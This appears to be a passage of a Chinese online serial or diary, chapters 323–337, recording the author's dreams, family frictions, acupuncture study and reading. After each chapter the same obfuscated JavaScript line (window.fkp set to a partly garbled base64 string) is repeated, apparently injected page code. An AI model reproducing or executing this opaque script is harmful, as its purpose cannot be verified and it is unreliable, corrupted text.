    然后下一个场景，梦见了一个很漂亮的房子，但是那个房子碎的，我梦到了我老公种的太阳花，我不知道那是不是我，我在房子里拍太阳花，我感觉它不像太阳花，因为太阳花的样子不是这个样子，感觉像多肉。梦里的我走了很多地方，拍了很多的照片。另一个世界的自己吧！毕竟看起来也不是我的生活。但是我没有分享出去，就是保存了起来。
    为什么要给我妹妹洗头？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第323章

    很想锁机。
    才积极了三天。然后我就去看其他的东西了。很难过。好像失恋的感觉一样，不知道是谁失恋了。很强烈的难受的情绪。听一些悲伤的歌，也难以勾引出去。看了一个小说读心术，应该是甜甜的文，可能看的有版权吧！只有一点点，然后没有连续起来，所以没有领会那种感觉。一个是初恋，一个是现任。然后他选择了现任，因为初恋是原女主，现任是现女主。他是原反派，现男主。有读心术。看了没有很甜的感觉。
    感觉失恋了。。。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第324章

    梦境。梦境里好像是掉进了另一个地方，然后那里有好多的马路，我在梦里好像失去了意识一样在攻击一个奇怪的灵魂。然后梦里有人唤醒了我，她的灵魂是很明亮的，然后对我说了什么，没有听懂。醒来的我感觉好困，还想再睡，但是要上班。然后上完了班以后，洗澡洗头吹头发。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第325章

    梦境，梦里面是一个女士，她手上有一颗黑色的花，她说她想把这花送给我，然后我拿到这个花，花突然活了过来，它突然变成了一个黑色的钻头，像钻进我身体里，然后它没有钻到，它钻到了一个孩子那里，然后它用孩子的语言说它在这个世界潜伏了十几年，就为了这一刻。
    我就呆呆的看着它。
    后面是一个房间，房间是很奇怪的，它不是平面的，它是往上的，然后另一个女士带来了一个男士，她说他们想过去，然后我没有开门，懒懒得在梦里睡着了。
    然后就是下一个场景，脑子里自己的角色好像被一个灰色的大脑袋给挤出去了，然后他在说着什么，听不懂。后面我就醒了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第326章

    梦境，梦境里是自己换了一个地方上班，我去了b栋，然后梦里也是换了一个环境上班去了b。梦里的空间里有一个房子，然后那个房子里好多物资，然后我帮别人拿了物资，结果那个人自己不见了。然后我拿着防护服走来走去的。然后从b栋出来的工作人员，没有带口罩，一个女孩子她说b栋好多灯泡坏掉了，然后我拿了一箱灯泡给她，她要去换灯泡。她没有带口罩，我就觉得好奇怪，怎么梦里的工作人员的工作环境不用带口罩的。好像我根本就没有意识到，梦里的工作环境是个梦的感觉。
    然后就是饭卡，那个饭卡我不记得我给谁了，我在一个房间里面，那个房间是那种幽暗的红色，我梦见我和我同事也在那里，然后同事回来了，带了她的同伴，她们好像要在房间里聊事情，然后我就退出那个房间，梦里我好像穿错了鞋子，穿到了同事的高跟鞋，我从来不穿高跟鞋的，然后我就换下来了，反正我特别的窘迫的感觉。然后我就想起来我没有吃中午饭，然后我就说我去食堂吃中午饭。但是我忘记了饭卡。然后有一个群消息，梦里的群消息哪一个人用了那张饭卡。有号码，然后梦里的我就去食堂打饭。反正我感觉梦里的我就真的是真实活在那个梦境的世界里一样。没有感觉到这是梦。然后我就往黑暗里走，我在找食堂。然后我就到了食堂。好像世界变得明亮，但是梦里的我不是红色的是黑色，好像有点子透支了的感觉。
    然后下一个场景，但是梦里的我并不认为我是下一个场景。我好像是过着三点一线的生活，世界里很大，整个天空都是灰蒙蒙的。然后梦里的爸爸载着我去一个地方，但是天空始终都是灰蒙蒙的，梦里的我说这个感觉就像余华写的活着。非常压抑的感觉。天空着浮着非常灰的一片云，然后天空底下的人，黑色的一大只。我醒了，因为我没有去看活着。虽然它很有名。但是我没有看。
    我也在惦记着我的午饭，领了但是我没有去吃，吃的早饭。出来的时候整好吹干头发就十一点多。
    只不过从A栋到了b栋，梦境就会发生那么大的变化吗？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第327章

    昨日之梦。梦之前是很晚了，快凌晨了，然后在看亚当斯一家的动漫电影。还可以吧。可惜没有沉浸其中的感觉。
    然后梦里面就是一大堆奇奇怪怪的样子。我感觉很像动漫里的夫人，我没有恐惧的感觉，反倒觉得梦境诡异的画面很优雅。夫人真的很优雅，我看到别人也是这么评价的。所以我的审美还是可以的。然后梦里面就是非常绚烂华丽美好的一幅画，真的像在爆炸一样旺盛的感觉。画很美，可惜我的文采斐然，形容不出来，只能说好看。后面就是梦见了一个摩天轮，他像一个顶着圆盘的人一样。然后在转动，让我想到了小时候哥哥带我游乐园玩，但是我并没有去过游乐园。那就像一个梦一样，哥哥说妈妈很难过，快要坚持不住了。后面哥哥就给了一段记忆，记忆里就是在游乐园玩的场景。也有可能我确实去过，但是我忘记了。
    然后就进入了下一个场景，是一个房间，房间里好多货架，货架上陈列着药品。里面有人说我应该吃药了。然后那个人说如果有人问你是干嘛的，你就说你是卖婴幼儿用品的，但是他们在卖一个牌子的药品。那个牌子梦里没有说出来。
    后面就是和同伴去一个地方，停车，然后我们要骑车。同伴说了什么不记得了，后面就看着我的车被一个男的骑走，我就很不开心的和他说这是我的车为什么他要骑。梦里的人说你的车需要实名制，找哪一个人在车头贴什么东西。这样子人家才认得出来。然后我骑着车在想我的车和他的钥匙配在了一起，难道不是应该换锁吗？只有我自己的专属钥匙能开不就行了。
    后面就是在家里，家里望着一个灵魂，说自己需要种东西。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第328章

    写完了梦境，吃完了早点，又入梦了，梦里是一个男士在和我讲什么？现实世界里的我没有听懂。只知道梦境的场景是红色的，然后他人的灵魂是白色的，后面又有一些黑色的流动的东西，后面就换了一个男士和我聊天，他的灵魂是全黑色的，说的什么，我也听不懂。等醒来的时候十点多了。
    然后就抓紧看书，本来计划七点多吃完早点就看书，今天值班的，结果睡的电话响了都没有把我闹醒。太可怕了，
    而且梦境里感觉是连续剧一样，但是我不知道什么内容。和以前的断断续续的场景不一样。
    后面不知道想起了什么，想到了小时候在一个草地上我同伴抓了一些草虫给我玩，然后那些草虫是碧绿的颜色，像草地上的叶子一样，那个场景是小时候的，我就乖乖的看着，然后很礼貌的不动它，后面我就拆了它的腿，拆它的腿的时候我记得，我有点子发抖的感觉。我以为它是绿色的叶子，它的腿会自己生长出来的。但是不知道为什么我心里很寒冷？很难过，后面就没有玩那只虫子。我好像感觉它在哭，自己的妈妈不喜欢它了。
    我不记得是我拆的还是同伴拆的，其实在我的脑海里有留下这样子的印象，和是不是我其实没有什么区别？然后现在的我去看那个时候的我，我看到了一个很大的脑袋在说我很残忍。但是我只是好奇而已。梦里的我说你只是好奇而已。后面梦到了下一个场景，那个场景里有一些花，红色的很漂亮，然后有一些小朋友把花摘下来玩，我没有和他们一起，因为我不认识他们。只是知道那个事，小时候我为花儿感觉难过。但是我并没有去指责他们。就在现在的时候想起来，他们也只是好奇而已吧！不知道为什么我会想到这个事？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第329章

    中医人纪学了一点点内容，大概两页吧！内容我不知道我记不记得住，因为我的记忆力一般般，理解能力一般般。如果一般般代表很差那我也没有办法。我不想说自己很差，不然我会每天每天的折磨自己让自己说自己不差。好吧！反正学习第一遍的意义就在于让我对着书本不那么恐惧。我本来就是这样子，学习需要花很多遍才能学懂，我又不是天才对吧！平庸之人只能这么学啦！
    然后最近耳鸣，天天闹得要死，好像钞在脑子里叫，又好像有人在自己脑子里。很奇怪的声音。然后正好学到了听宫。听会，可以治耳鸣，按揉了一边还好一边没有耳鸣的感觉，另一边还有。很有意思的是这个学位居然需要张大嘴巴，按到骨头缝才能找到。然后就是攒竹穴，这个骨头缝我没有找到，我自己的眉毛纹过的，所以我就没有找到它。还有一个有趣的养老穴，最近眼睛也不舒服，因为很晚睡，看小说，小说真的好看，就像来了一个吸食人灵气的女妖精一样，虽然知道有害健康，但是看了还想看。欲罢不能。可是虽然看小说有害健康，但是得到的心灵启示也对我很有用。像勿扰飞升那本小说，很简单的，但是对我来说开阔了视野。那个门派的弟子可以在别人笑话你的时候也跟着人家一起笑，这就让我很佩服了。对吧！至少这样子的人是非常豁达开朗的，至少我很难做到，虽然我是一个比较小肚鸡肠的人，但是也可以好好欣赏别人的人生。所以看小说对我来说就是很重要的，就是喜欢。
    然后我就眼睛不好使了，感觉自己很难受，按那个养老穴就有用了，按了三分钟，真的眼睛就很舒服，那种舒服就是感觉自己眼睛有神一样，不过我也知道我的性子，肯定不会坚持嘛！反正能乐呵一时是一时。
    昨日看的小说看完了以后心情好很多。好像很多东西都有了新的理解一样。真好。
    照我这样子的学习速度，可能一生也学不会。我有点焦急，好想像小说女主一样好好的学快速的领悟，不过我是什么样的朽木。身为朽木真的是一件很难受的事情。
    就像老师说的我的两只手只能教你们，而造福很多人就需要你们了。
    我有点子难受，看到这样子的一段文字。因为我并不是很有天分，然后就算我有了天分，我也有可能因为胆子小不想为别人付出，而不愿意付出自己的能力，即使这样子会让我收获金钱别人的信仰信任也不愿意。很奇怪的心理。很可能某一个阶段遇到了被人背叛。变得不愿意分享，不愿意付出，或者其他的什么心理阴影。我感觉这就是心理阴影面积太大，它盖住了我想要为他人好好奉献的心灵。但是是哪一个阶段呢？
    毕竟学好来，可以帮别人解决困难，我自己也会过的更好。可是现在是我宁愿自己过的不好，我也不愿意帮助别人解决他的困难。就是这么一个状态。不知道什么原因，什么心理阴影。
    宰相肚里能撑船，可能我的格局太小了，不过我也不知道为什么会那么小啊？虽然听了很多道理，但是我不用上去，那也没有办法。
    搞不明白，也许到了某一个阶段，我能够明白哪一个时间段导致的吧！真希望不要太晚，因为人生太短小了。
    突然之间很想去看《钢铁是怎么样练成的》，我之前看过一遍，没有看懂。昨日刷到一个小视频，三姐妹和她们弟弟的故事。然后一个奇怪的弟弟，把三个姐姐变成了文学巨匠，而且他们死的很年轻。我不知道会不会选择看她们的原着。因为电影《简爱》我看了，我没有看懂。突然让我想到了《小妇人》。我没有看懂，我看人家制作的短视频，然后我感觉就是看了那个片段，然后就有了嫁人的念头。实在是无语。就是那个男主一直对女主说的话，让我感觉好像自己代入进去了。真的很奇葩。
    不知道怎么形容那种五味杂陈的感觉。什么都乱七八糟，很想描述，又描述不出来的感觉。可能这就是缘分，缘分会让你选择你平时不愿意选择的事情，又难以拒绝。不然怎么会那么鬼使神差。就是遇到了缘分。
    《简爱》其实也好像看过书本写的，不理解，没看懂。电影也没有看懂。为什么我看不懂？看电影的时候在研究女主的穿着打扮，男主实在是老，不好看，很难理解他们会有爱情，虽然在小说里面其实也有年龄差一样的爱情，比如八十岁娶十八岁的。但是不能理解。一树梨花压海棠。但是这个我想到的是衣服的搭配。不记得看的那一本小说，男主角的搭配，女主角是这样子形容的。意思应该是穿了一件白衬衫，然后搭配了一条有颜色的裤子。海棠花我没有看过，也许是红色的吧！反正女主角是说惊艳到了她，而女主角的心情我感觉到了，所以记住了这句话。后面学了什么来着，就好像一树梨花压海棠是说一个老年人娶了一位很年轻的女孩子的描述，但是这件事让我对一树梨花压海棠没有美好的感觉。还不如小说让我感觉这句话很愉快。
    看文本的《简爱》的时候，真的没有看懂，难以想象那个场景。我对这本书抱有偏见。我也不知道是什么偏见让我没有办法解读这种文学有意义的内容。也许慢慢探索自己能够找到答案吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第330章

    夏虫不可语冰。突然想到了这个话，以前和医生散步，医生说他们有一些向往的可望不可以的一些事物，我听了以后反问，了一些东西。后面他们说你说的对，然后没有说下去了。我感觉有点子闷闷的。不理解。后面这几天突然想到了这个事，夏虫不可语冰，可能在他们眼里我是一只夏虫。突然想到了以后就更闷了。后面看了推送的内容，真的是深奥啊！
    夏虫不可语冰。还是不要推送那么复杂的东西给我吧！我看不懂，看了还更闷闷不乐。
    真的是无语，不知道为什么又想到那个电饭煲的事。
    这次想的更全面一点了。
    大概就是表姐她下午帮家公做事，干电器的活。但是他们走的时候没有和我讲，我只是在他们出门的时候知道说他们一起出去了，而且那天的我很疲惫，疲惫到吃中午饭都感觉自己状态不好，也没有怎么听清她们在讲什么？然后晚上我不知道那天我家婆有没有打我电话叫我煮饭。因为我在我家婆的房间带我宝宝，手机没有拿，或者拿了，但是我没有接到我家婆的电话。
    我下午一般不会很早煮饭，因为之前早过，但是我们一家子都是等我老公回来再煮，因为我老公好晚下班，六七点的样子回家。然后那天的饭又够吃。够我们一家人。
    那我热一下就可以啊！没必要煮饭啊！然后我老公那天就提前回来了，然后他去收衣服，叫我煮饭，我就好久都没有理解啊！锅里都有那么多饭。都够吃，为什么还要煮。后面他收衣服下来，我就煮了，他说姐姐晚上在家里吃。其实算起来也够的，但是我老公讲一定要煮。那我就煮。他们回来饭就没有熟，但是上面的饭是热的，可以吃啊！但是表姐就对我说电饭煲不好啊！她的意思大概就是说我不好的意思呗！那么久了没有煮好饭。因为她看着我来讲啊！我没有理解她讲的什么耶，前段时间还在生气，是不是因为她以为这电饭煲是我买的，才对着我讲电饭煲不好。
    反正回忆一下心情又暴躁了一顿。很想和我老公吵架，顺便叫我家里人给我办离婚。因为这样子一件小事。我好生气也有可能是因为我嫉妒她过的比我更幸福。我觉得是，她的日子一定过的很幸福，所以让我对她充满了嫉妒还有恨。
    简直了。无语。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第331章

    上完中班，本来以为自己一下午还可以做点事的。然后没有想到一下午都没有醒，闹钟还定了好多个。
    梦境，梦到了一个房子，房子很空旷，然后里面有一个画框，写了几个小字：希望你好好生活。
    然后就是别的场景了。是这几天的。梦里面自己好像一团灰色的灵魂。然后里面的人像一团白色的灵魂，隔着镜子，她说她知道我该放哪里了。梦里的她好像很生气。梦里的我认为她不要我了，可能她希望我羊。然后梦里我转了一个角色，我是她。
    下一个场景，梦里是一个奇怪的灵魂，她说你就那么笃定的认为变异一定是变好的方向吗？梦里一个灰色的小脑袋就那样子呆呆的看着她。然后下一个场景还是一样的灵魂只不过他是男的，也是那样子有纹路的，他希望那团白色的灵魂也生病。
    下一个场景，不知道为什么想到了电视剧里第八号当铺的主人。他是一个红色的男人。很小时候的梦里面我偷走了他手上可以实现愿望的红宝石。那个场景里
    我把红宝石还给了他。梦里的我那种状态很平静，说原来做什么事情真的是有代价的。有的愿望实现了即使没有业障因果后果也很沉重。问他我真的会在二十来岁死吗？
    他静静的没有说话，就待在台阶上。我说我感觉比较贪婪。我没有想到我会是贪婪的。所以红宝石物归原主。后面他说即使有代价，但是在实现愿望的那个时刻真的快乐过，对吧！
    后面醒了，因为第八个号当铺想到了一个人家解说的片段。一个男的，他娶了老婆，他许愿能够听懂老婆的心声，结果他真的实现了这个愿望。后面被老婆的心声给气死了。就是读心术。不过我不敢看第八号当铺，有点子恐惧。不知道梦里的是不是我，如果我的生命只有两年了，我该怎么去生活？精神意义的死亡，物理意义上的存活，以后的我会不会有可能变得很有钱呢？
    如果变得很有钱，我要怎么去安置我的钱？要是物理和精神一起死亡了呢？要是那个两年梦境的算法和现实比例不一样呢？
    真的想多了。日子还不就这样子过。
    明年清单素描五千张。水彩五十张。做菜三百次。买好看的衣服，好好学习，好好工作，积极向上。争取在家里工作生活里获得归属感。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第332章

    刚刚搜了一下，编制人员不能有第二份职业。原来如此，难怪我根本学不进。以前还特别的想下班了去摆地摊，或者有第二份职业，可以更好的养家糊口，原来都不行。刚刚看的一个乡干部下班回家的时候顺便用自己的车接了一个人滴滴收款，然后记了个处分。
    不是吧！那我的不是也不行，不然会被举报之类的。还好前几年没有入编。现在入了也就不可以有第二份职业了。本来还想在业余时间记录一些日常生活，可以挣一点点钱。原来不行啊！失落真的是！
    那不是万一我写书挣了钱还不能去取出来，取出来就会有处分，还好我写的狗屁不通，不然亏大了。
    想太多了，练练文笔，也许以后用得上吧！
    至少可以缓解焦虑。
    昨日之梦。梦里是一个画的房子，但是并没有太多的内容忘记了。
    然后下一个片段是一个灰色的庞大的灵魂，感觉对方在包裹着我的感觉，然后后面是另一个很强烈的愤怒感的灵魂，像一位女士的，她几乎在ma我，但是我也是无语至极，不知道怎么讲，后面的梦境里，出现了一把剪刀，要把什么东西剪掉。我不肯，不想被剪。梦里不肯被剪的我样子很难看，但是说的也有道理。我老公还行。而且算命先生说的我未来的家就是在他那里，我相亲的时候看到他的家就知道未来就是这个样子。而且我没结婚之前身体不是很好。会腰痛，先不说我有几个兄弟姐妹，在相对来说比较好的人家那里，我算的上是有伏地魔的潜质，以前也不是没有相亲过大富大贵的人家，基本上人家也明的表示怕你是伏地魔。即使家庭再好，也经不起折腾。然后我还腰痛，我肯定不想太晚结婚啊！怕自己错过了最佳生育期，如果到了四五十岁再结婚，就不符合我的心理预期，我没有小孩子还是很想要孩子的。而且结婚拥有合法姓生活对吧！谈恋爱怕出轨，怕脚踩两只船，家庭条件好的我也确实不太配得上，自己本身的条件不是说一般般而是相对来说比较差。然后又比较焦虑。老公又符合我的心理预期，我感觉结婚对我来说还好。
    我并不是一个比较优秀的人，至少我自己是这样子认为的，因为我焦虑，我迫切的希望自己拥有很多的钱去养弟弟妹妹，然后同时我又很讨厌很嫉妒很恨他们，是非常复杂的情绪。我无法把我描述的很完整可能我对我自己的定义是错的，但是我对自己的定义让我很累。可是又没有办法解决。
    算了扯远了。
    总之我也不知道这讲的啥？后面下一个场景就是我好像是黑色的一团后面看到了一个女孩子提了一个书包，书包里拿出了一本杂志，里面写的是她对我的定义。这不是什么好话！我没有怎么看懂。
    如果生来是配角怎么办？就这么过呗！我又对抗不了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第333章

    梦境梦到了鸡精。在哪里打斗中救下来的，被我自己救的。
    后面母鸡精不知道为什么死掉了，小鸡精就变了。她看起来柔柔弱弱的，睡掉了整个世界的高管层，而且人家还发现不了她，她可以变成其他人的样子。然后整个梦境里的世界的大人物都变得很虚弱。但是他们不知道为什么那么虚弱。后面我和老公搬到了她的巢穴附近。她的门上有一副画，画好像有红色的眼睛，然后她又变成了其他人，在那个地方，后面很多人都信任她。梦里她威胁老公不要管那么多她的事，不然她会把我也弄死。
    梦里面有一个大佬他不知道是什么妖精。他说他需要找到他的继承人。不知道是不是哪只鸡精。
    后面老公带我去了一个楼梯，楼梯下有奇怪的女孩子飞起来了送了一些果子来，当然这个需要用钱买，老公付的钱，后面他还买了一碗面吃。后面我就不记得了。
    然后还有一个梦，在这个光怪陆离的世界之前是一个家，非常美丽的家，然后我打开门，碰到了一个老人家，她和我讲了什么我不记得了。然后她带走了什么。
    好奇怪的梦，我和老公在梦里一直在打一些光怪陆离的怪物，可是她好像没有办法打。她难道是老天爷派来拯救人间的科学家，领养她的人是个计女，然后从小经历了颠沛流离，人情世故，各种糟心的事，所以她黑化了？这是我瞎想的，能想出这种事来，说明我真的是个魔鬼。可能是在地狱里泡久了，思想龌龊。不过我的思想本来就不太好，在神与魔之间游荡。
    后面她用她的灵魂召唤了鸡精，搞事情？？？就像夏尔和赛巴斯安一样。
    可是就像历史一样，即使变化很坏，也不是她一个人的错，对吧！就像那个什么牌一样，推倒了一个，其他的连环都会倒，只是时间的问题。可能糟糕都需要一个女士来承担就像杨贵妃一样。所以刻画出来这样子一个女孩子，她柔柔弱弱的，看起来像一个大学生的样子，身材娇小，声音都不怎么好听，却游韧各种人之间，我在某栋楼看着她，觉得这个角色怪异，然后我却又阻止不了。
    不知道，可能想多了吧！也许那个大人物他的继承者是我呢？对不对？怎么可以想别人呢？没准是我呢？乾坤未定，你我皆是黑马。
    算了，不要想那么多。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第334章

    梦境，梦里面出现了医生，她说要给我扎几针。然后我说好，她就上了几针。然后下一个梦境场景就是医生说她要去别的医院了。我问她为什么？她没有讲，感觉很失落的样子。
    然后我就醒了。
    看来我真的是碰到了什么。
    感觉好拖延。也有可能是熬夜太久，没恢复过来，毕竟再也不是年轻人了，稍微熬一下我就缓不过来。偏偏我又喜欢熬夜。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第335章

    我也很想培养一个我的爱好。我不知道我爱好什么了。每天都在刷手机，刷视频，看别人如何去度过自己的一段人生。看别人总是那么精彩，就像小说里的世界一样，他们总是那么精彩，而我不肯动半步。惭愧惭愧。
    我的爱好就是看小说。我记得以前看某一本小说，可能是个十四岁的女孩子写的，写的特别的简单，看的我头皮发麻。但是她写了几十万字。后面看了好多章，实在是看不下去了才弃文。那个时候我想我也能写，结果根本没有办法下笔。一个字我都写不出来。现在的我让我感觉我不优秀，但是比五年前的自己，我至少下笔了。至少我o能扯下去。还行。焦虑的痛苦的感觉会稍微好一点。没有以前那么痛不欲生。
    结了婚生了宝宝，给宝宝买好看的衣服。用心记录过自己的生活，看完了几本不是小说的书，收获了一些人生道理。那也是很不错的。学了一点点中医的知识，比五年前的自己了解更多的穴位，然后也能勇敢的对自己下针，以前没有接触针灸的时候自己内心吓得半死，很害怕，后来对自己下针。还可以。写过书法，虽然毛笔字只会写一还有之，而且还是我练了好几个月才会写出来的字，但是我真的能写出来了。还好，每个人都有每个人的节奏不是吗？也许苔花如米小也学牡丹开。
    但是比很久以前的自己好很多了，对吧！我只是渴望自己会更好一点。让未来的我对我满意。只是想要开心一点。以前学习很好但是不够完善，感觉自己很难受一叶障目，看的东西太小，做的事不完美，后面去经历自己不完美的状态接受不完美的样子，放下对完美的执念。反正就是心情好多了。那就很好了。
    这就是爱好带给我的。
    我只是希望我也能像别人一样好好安排时间。虽然我知道我叫不醒我自己，我也是一个装睡的人，不管我用什么方式都没有办法唤醒我对生活的热爱之情，但是只能这样子一点点的像蜗牛一样慢慢的爬向光亮的地方。也许就像书中写的，脑子的反应很快，可是手和身体的动作和实际情况却不是那么快。要用感受的方式去体验，就会变得很快乐，要急于求成就会变得很累。心里吃不了热豆腐。
    想到了一个事，以前在店里看到了一件大衣，我很喜欢，因为那件衣服和我同桌穿的一模一样，然后她穿上去的样子很优雅，我好羡慕，我也想要这样子的衣服。可是家里人不让我买，后来我就一直闹，然后那件衣服我就试上了。然后那件衣服我穿着不合身而且是店里面最大的一件了。家里人就没有给我买那件衣服，给我换了另外一件。我也不知道为什么突然之间想到了那件衣服。好奇怪的感觉。
    是对我逝去的那段岁月的怀念吗？我也并没有对家里人感觉到愤怒或者其他的想法，因为那件衣服是店家的最大款而且没有我的码子。我穿那件衣服活动不方便。但是为什么会想起来呢？搞不懂为什么会想起这个事情来。
    我想到了鳄鱼。她穿的就是这样子的款式。她那个时候学习很好，没有到七年级的时候是那种看起来酷酷的女孩子，虽然她单眼皮，但是我感觉她很可爱，很有自己的特点。
    她有冻疮，我也有，每年冬天用冷水洗衣服的我们，手上都硬邦邦的，然后她的手裂开了，用了药。后面好了吧！后面我没有关注她了。
    算了，不要回忆了，回忆是一把杀猪刀。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第336章

    梦境，梦里面是一个女孩子在吃东西，然后她突然忘记了她吃了东西，后面有人叫她去做核酸，然后她就下去做核酸了，然后后面来了一个男孩子，我叫的女孩子的名字，可是他出现了，不记得他讲的什么了，我只是感觉他太着急了，因为女孩子才十五岁。后面梦到了一批蝉。后面的情形我就忘了，然后就醒了。下一个场景，就是一个绿色的灵魂，从面前经过。
    但是不晓得什么意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第337章

    梦境，梦里面是一个很大的脑子，它里面包裹着一个世界，然后世界里的人像一团灰色的影子，她请求我不要再看一些不好的内容。然后梦里的我停了下来。后面梦到了一个房间，然后看到了一个白色的灵魂跟着很多黑色的东西，然后门开了，进来了一个很漂亮的人。
    大概的内容就是人们很不满一些决定吧！那些怨气又开始实质化
    了。梦里的我本来很希望我也能得病，然后体会一下这个病的程度会是什么？政策改了，不改也没有办法，很烧钱，久掉了大家都撑不起。然后看到了梦境里的说不用。看其他人的反馈是怎么样吧！
    在看犬夜叉。不太懂，以前看的时候很小，没有看懂，也没有看全。一直在回忆到一个人，红色的男士的灵魂，他说他不喜欢阿离。阿离和桔梗都很善良。桔梗死去了啊！没办法的事。而且阿离是未来的桔梗。
